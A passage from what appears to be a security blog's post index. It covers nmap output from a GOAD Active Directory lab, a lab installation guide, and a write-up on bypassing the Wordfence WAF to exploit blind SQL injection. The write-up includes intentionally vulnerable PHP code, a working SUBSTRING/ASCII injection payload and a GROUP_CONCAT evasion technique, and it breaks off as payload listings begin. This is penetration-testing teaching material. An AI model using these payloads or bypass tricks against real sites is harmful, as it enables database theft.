style=\"display:flex;\"\u003e\u003cspan\u003e|     DNS_Computer_Name: sql.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     DNS_Tree_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Product_Version: 10.0.17763\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eSSL_Self_Signed_Fallback\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eSSL_Self_Signed_Fallback\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-06T16:47:04\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2055-09-06T16:47:04\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   9f06:0296:450f:8427:f3a4:67bb:b200:07c4\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 5093:43cb:c2fa:a3df:4f6e:a5e5:c08b:e336:9e2b:3877\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ms-sql-info: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   192.168.56.22:49771: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     Version: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       name: Microsoft SQL Server \u003cspan style=\"color:#ae81ff\"\u003e2019\u003c/span\u003e RTM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       number: 15.00.2000.00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       Product: Microsoft SQL Server \u003cspan style=\"color:#ae81ff\"\u003e2019\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       Service pack level: RTM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       Post-SP patches applied: false\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    TCP port: \u003cspan style=\"color:#ae81ff\"\u003e49771\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eService Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost script results:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-security-mode: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   3:1:1: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Message signing enabled but not required\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-time: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   date: 2025-09-06T17:11:30\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  start_date: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| nbstat: NetBIOS name: SQL, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 08:00:27:7c:38:c9 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ePCS Systemtechnik/Oracle VirtualBox virtual NIC\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Names:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   SQL\u0026lt;00\u0026gt;              Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   ACADEMY\u0026lt;00\u0026gt;          Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  SQL\u0026lt;20\u0026gt;              Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNmap scan report \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e 192.168.56.23\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost is up \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0.0064s latency\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNot shown: \u003cspan style=\"color:#ae81ff\"\u003e65529\u003c/span\u003e filtered tcp ports \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eno-response\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSome closed ports may be reported as filtered due to --defeat-rst-ratelimit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePORT      STATE SERVICE       VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e135/tcp   open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e445/tcp   open  microsoft-ds?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3389/tcp  open  ms-wbt-server Microsoft Terminal Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; +1s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| rdp-ntlm-info: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   Target_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   NetBIOS_Domain_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   NetBIOS_Computer_Name: SHARE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DNS_Domain_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DNS_Computer_Name: share.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   Product_Version: 10.0.17763\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  System_Time: 2025-09-06T17:11:22+00:00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eshare.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eshare.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-01T13:05:14\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-03-03T13:05:14\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   c93e:9ae7:ae75:d73e:8380:0544:ee9f:e974\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 31b8:262d:c57f:b50f:9136:4875:998a:258d:4a6d:2aad\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| tls-alpn: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  http/1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-08-31T11:50:41\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2028-08-30T11:50:41\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   9ff1:46c7:e77e:b62b:324e:1d13:295c:3854\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 75b7:f10a:8e39:9888:611c:077a:efe1:4c31:53d7:6173\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49690/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eService Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost script results:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-time: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   date: 2025-09-06T17:11:33\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  start_date: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-security-mode: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   3:1:1: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Message signing enabled but not required\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNSE: Script Post-scanning.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInitiating NSE at 19:12\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCompleted NSE at 19:12, 0.00s elapsed\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInitiating NSE at 19:12\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCompleted NSE at 19:12, 0.00s elapsed\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInitiating NSE at 19:12\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCompleted NSE at 19:12, 0.00s elapsed\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePost-scan script results:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| clock-skew: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   0s: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     192.168.56.20\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     192.168.56.21\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     192.168.56.10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     192.168.56.22\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    192.168.56.23\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRead data files from: /usr/share/nmap\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNmap \u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e IP addresses \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e hosts up\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e scanned in 311.47 seconds\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           Raw packets sent: \u003cspan style=\"color:#ae81ff\"\u003e662919\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e29.168MB\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e | Rcvd: \u003cspan style=\"color:#ae81ff\"\u003e71100\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e2.847MB\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhile the scan was running, I started Responder in the Ubuntu VM to see if any hashes were captured, but after a long time, nothing came up.\nI used a custom Docker image with Responder installed. The Dockerfile can be found \u003ca href=\"https://gist.github.com/emc2hf/202c671cc34056c9fa664e9dfd90636e\"\u003ehere\u003c/a\u003e and at the end of this blog post as a GitHub Gist.\u003c/p\u003e","title":"GOAD (Game of Active Directory) NHA #2 - Initial Enumeration and First Code Execution"},{"content":"Hi guys, in this post I will be installing GOAD on a nested virtualization Ubuntu server. This is not the recommended way to install it, but I don\u0026rsquo;t have enough RAM on my other computer and it\u0026rsquo;s still viable (I already tested it with GOAD Light a few months ago). If you have enough RAM, I recommend installing it on a bare metal machine, the performance will be much better and the process is exactly the same. This installation is only valid for Linux machines, but GOAD can also be installed on Windows.\nI will be doing the NHA challenge, which is a CTF-style challenge that will be perfect to get my hands on Windows again, since I haven\u0026rsquo;t touched it in months. The other GOAD variations are intended as labs to practice vulnerabilities, not to solve them as a CTF. In the future, I will do the full GOAD and SCCM resolutions and I will also post them.\nI’ll be doing this challenge to prepare for the OSCP certification, which I plan to take in a few months. This lab goes beyond OSCP knowledge, but I enjoy doing everything that goes beyond, like AV Evasion, AWS, etc. It will be a good way to refresh these things as I haven’t touched them in ages.\nPrerequisites CPU capable of Nested Virtualization (I will be using Virt Manager to create the VM) 24GB RAM 115GB Disk Space (preferably SSD) Linux host (in my case Ubuntu Server 22.04 LTS) Checking if Nested Virtualization is enabled We can check if our CPU supports nested virtualization with this bash command:\negrep -c \u0026#39;(vmx|svm)\u0026#39; /proc/cpuinfo # Output \u0026gt;0 =\u0026gt; supported To check if Nested Virtualization is enebled we can do it this way:\n# Intel CPU cat /sys/module/kvm_intel/parameters/nested # Expected Output =\u0026gt; Y # AMD CPU cat /sys/module/kvm_amd/parameters/nested # Expected Output =\u0026gt; 1 In my case I have an Intel CPU: Creating the Nested VM with Virt Manager This is what the VM looks like before creation with Virt Manager, note the Customize configuration before install option checked. Once the VM is created, we proceed to check if Nested Virtualization is enabled:\ngoad@goad:~$ cat /sys/module/kvm_intel/parameters/nested Y This means we can install a hypervisor and use Virtual Machines inside this Virtual Machine.\nThe recommended CPU topology I found works best is with max Cores and 2 Threads. In my case, I have 8 logical host CPUs, so the topology is as follows:\nGOAD Installation I first did an update and upgrade and created an external Snapshot.\nsudo apt update -y \u0026amp;\u0026amp; sudo apt upgrade -y External snapshot:\nvirsh snapshot-create-as \u0026#34;ubuntu22.04\u0026#34; \u0026#34;virtualbox_install\u0026#34; --disk-only This creates a new disk called ubuntu22_GOAD.virtualbox_install where all changes from now on will be written. If we want to restore the snapshot, we just have to switch the disk to the original one (ubuntu22_GOAD.qcow2).\nName explanation:\nubuntu22_GOAD: VM qcow2 disk name ubuntu22.04: VM domain name virtualbox_install: Snapshot name VirtualBox Installation Commands I use the Docker variant of the installer. The only difference is that the Docker variation uses a container to launch the Ansible playbooks, while the normal variant uses the host machine to launch them. Out of both installations I’ve done, the one that worked best for me was the Docker variant.\n# Install Docker sudo apt-get install ca-certificates curl sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc sudo chmod a+r /etc/apt/keyrings/docker.asc # Add the repository to Apt sources: echo \u0026#34;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \\ $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;${UBUNTU_CODENAME:-$VERSION_CODENAME}\u0026#34;) stable\u0026#34; | sudo tee /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin # Add user to Docker group sudo usermod -aG docker goad # Install python3-venv sudo apt install python3-venv # Install virtualbox sudo apt install virtualbox # Install vagrant wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg echo \u0026#34;deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main\u0026#34; | sudo tee /etc/apt/sources.list.d/hashicorp.list sudo apt update -y \u0026amp;\u0026amp; sudo apt install vagrant -y # Install Vagrant Plugins vagrant plugin install vagrant-reload vagrant-vbguest winrm winrm-fs winrm-elevated # Add some dependencies sudo apt install git sshpass lftp rsync openssh-client # Reboot just in case sudo reboot now # Clone repository git clone https://github.com/Orange-Cyberdefense/GOAD.git cd GOAD # verify installation ./goad_docker.sh -t check -l NHA -p virtualbox # install ./goad_docker.sh -t install -l NHA -p virtualbox # This will take a LONG time After lots of timeouts and troubleshooting, the lab was successfully installed. To solve errors, I just ran the installation again with the same command. GOAD tracks progress itself, resuming the installation where it failed. I recommend using GOAD\u0026rsquo;s interactive console instead of the previous command. sudo ./goad_docker.sh NHA/virtualbox/docker/192.168.56.X (a285fd-nha-virtualbox) \u0026gt; help NHA/virtualbox/docker/192.168.56.X (a285fd-nha-virtualbox) \u0026gt; install After checking that all is running correctly I proceeded to take an snapshot of the lab. Network configuration To access the 192.168.56.0/24 network (VirtualBox host-only range for GOAD VMs) from my Kali VM at 192.168.1.41, I need to configure the Ubuntu host (192.168.1.73) as a router between the local LAN (192.168.1.0/24) and the host-only network. This involves enabling IP forwarding on Ubuntu and adding a static route on Kali. This allows us to do all attacks that can be performed on a directly connected local network (like using Responder, NTLMRelay, etc.).\nGOAD VM sudo su echo \u0026#39;net.ipv4.ip_forward=1\u0026#39; \u0026gt;\u0026gt; /etc/sysctl.conf sudo sysctl -p sudo iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -d 192.168.56.0/24 -j MASQUERADE # If you want it persistent # sudo apt install iptables-persistent # sudo netfilter-persistent save Kali VM sudo ip route add 192.168.56.0/24 via 192.168.1.73 After applying the configuration we can successfully access the GOAD subnet. To stop the lab we can use the stop command. ","permalink":"https://emc2hf.github.io/blog/2025/08/29/goad-game-of-active-directory-nha-%231-installation/","summary":"\u003cp\u003eHi guys, in this post I will be installing \u003ca href=\"https://github.com/Orange-Cyberdefense/GOAD\"\u003eGOAD\u003c/a\u003e on a nested virtualization Ubuntu server. This is not the recommended way to install it, but I don\u0026rsquo;t have enough RAM on my other computer and it\u0026rsquo;s still viable (I already tested it with \u003ca href=\"https://orange-cyberdefense.github.io/GOAD/labs/GOAD-Light/\"\u003eGOAD Light\u003c/a\u003e a few months ago). If you have enough RAM, I recommend installing it on a bare metal machine, the performance will be much better and the process is exactly the same. This installation is only valid for Linux machines, but GOAD can also be installed on Windows.\u003c/p\u003e","title":"GOAD (Game of Active Directory) NHA #1 - Installation"},{"content":"This is the journey of how I successfully bypassed Wordfence WAF to exploit a SQL Injection in an updated WordPress and Wordfence. The vulnerability was present in a custom plugin developed for my client by a 3rd party. In this post I will explain how I discovered the vulnerability and how I exploited it, successfully bypassing Wordfence SQLi security measures. All the code used in this post can be found at the end of the post. For obvious reasons I will not share the client\u0026rsquo;s website or vulnerable code, instead I developed a simple lab with Docker.\nDisclaimer: This post is for educational purposes only. The research was done in a legal engagement for my client. Please do not use this information for illegal activities.\nFinding the SQL Injection My methodology to find SQL Injections is very simple: crawl the site, do fuzzing, and manually inspect the site, always sending the requests through Burp Suite. Then I look for all parameterized requests. After doing all that I used a very good Burp Suite Pro Extension I always use to scan for injections, Backslash Powered Scanner. This extension reported the SQL Injection in a GET parameter.\nAfter manually inspecting the vulnerability with Repeater I found it was a Boolean-Based Blind SQL Injection.\nWordfence Bypass Once I found the vulnerability I immediately reported it to my client. My client didn\u0026rsquo;t know if this was a very urgent vulnerability to solve, as Wordfence was in place. He said to me that if this vulnerability couldn\u0026rsquo;t be exploited it was not that big of a deal. I told him that I would try to bypass the WAF in a controlled environment and if I was successful I would then try to exploit it in the real WordPress.\nVulnerable Lab I set up a fresh latest WordPress with Docker and installed the Wordfence Plugin (Free license, same as my client) and a vulnerable custom plugin simulating the real vulnerability. This is the docker-compose.yml file I used:\nservices: db: image: MariaDB:10.11 container_name: wf_db restart: always environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: wordpress MYSQL_USER: wpuser MYSQL_PASSWORD: wppass command: --default-authentication-plugin=mysql_native_password volumes: - wf_db_data:/var/lib/mysql wordpress: image: wordpress:latest container_name: wf_wp restart: always depends_on: - db ports: - \u0026#34;127.0.0.1:80:80\u0026#34; environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wpuser WORDPRESS_DB_PASSWORD: wppass WORDPRESS_DB_NAME: wordpress volumes: - ./html:/var/www/html volumes: wf_db_data: Vulnerable Code The vulnerable plugin code is as follows:\nFiles: vulnerable-plugin.php:\n\u0026lt;?php /* Plugin Name: Vulnerable Plugin Description: Intentionally vulnerable SQL injection endpoint for pentesting practice. Version: 1.0 Author: You */ add_action(\u0026#39;init\u0026#39;, function () { if (isset($_GET[\u0026#39;vuln_test\u0026#39;])) { include plugin_dir_path(__FILE__) . \u0026#39;vuln-endpoint.php\u0026#39;; exit; } }); vuln-endpoint.php:\n\u0026lt;?php // Local lab only! Insecure by design. $mysqli = new mysqli(\u0026#34;db\u0026#34;, \u0026#34;wpuser\u0026#34;, \u0026#34;wppass\u0026#34;, \u0026#34;wordpress\u0026#34;); if ($mysqli-\u0026gt;connect_errno) { die(\u0026#34;Failed to connect: \u0026#34; . $mysqli-\u0026gt;connect_error); } $id = $_GET[\u0026#39;id\u0026#39;]; // Necessary to reproduce real WP behaviour $id = str_replace(\u0026#39;\\\\\u0026#39;, \u0026#39;\u0026#39;, $id); // ⚠ Intentionally UNSAFE query — vulnerable to boolean-based injection $query = \u0026#34;SELECT * FROM wp_vuln_users WHERE id = $id\u0026#34;; $result = $mysqli-\u0026gt;query($query); if ($result) { while ($row = $result-\u0026gt;fetch_assoc()) { echo \u0026#34;ID: {$row[\u0026#39;id\u0026#39;]} | User: {$row[\u0026#39;username\u0026#39;]} | Email: {$row[\u0026#39;email\u0026#39;]}\u0026lt;br\u0026gt;\u0026#34;; } } else { echo \u0026#34;Query failed: \u0026#34; . $mysqli-\u0026gt;error; } I tried SQLMap with different tampers and Ghauri to see how good Wordfence was doing with these complex payloads, and all were being blocked.\nI then moved to manual testing, seeing which kind of rules it was using. I tried obfuscation, strange functions, JSON encoding, but nothing worked.\nI started testing MariaDB functions to see if there were any blacklisted words or characters and, to my surprise, there weren’t. In fact, I discovered that Wordfence only blocks payloads that have a high heuristic probability of being a SQL statement. What I mean is that a complex SQL query like the ones SQLMap or Ghauri were sending were being blocked, but a simple ?id=3 AND ASCII(SUBSTRING(database(),1,1)) \u0026gt; 114 worked.\nKnowing this I could start enumerating the database using the SUBSTRING function and improving efficiency by using the ASCII function, which transforms a single character into its ASCII number representation. As I now found a viable way to enumerate the database, I started testing for working payloads to:\nGet the length of the string I was going to dump Get current database name Get table names Get column names Dump rows All of this was done using binary search to be as efficient as possible, as SQL allows you to compare if a value is lower or greater than another.\nWorking Payloads To dump table names, column names, and row data I used the function GROUP_CONCAT, which allows doing an inferred SELECT of the fields it will retrieve, concatenating all in a large string separated by ,. I could only do it this way because all other payloads containing more than 1 FROM were being blocked.\nI needed to know which values were which (as all the retrieved fields are concatenated together without any separation), so I simply added a | in the GROUP_CONCAT function: SELECT GROUP_CONCAT(column_name,'|',table_name) FROM information_schema.columns.\n1. String Length Database 3 AND 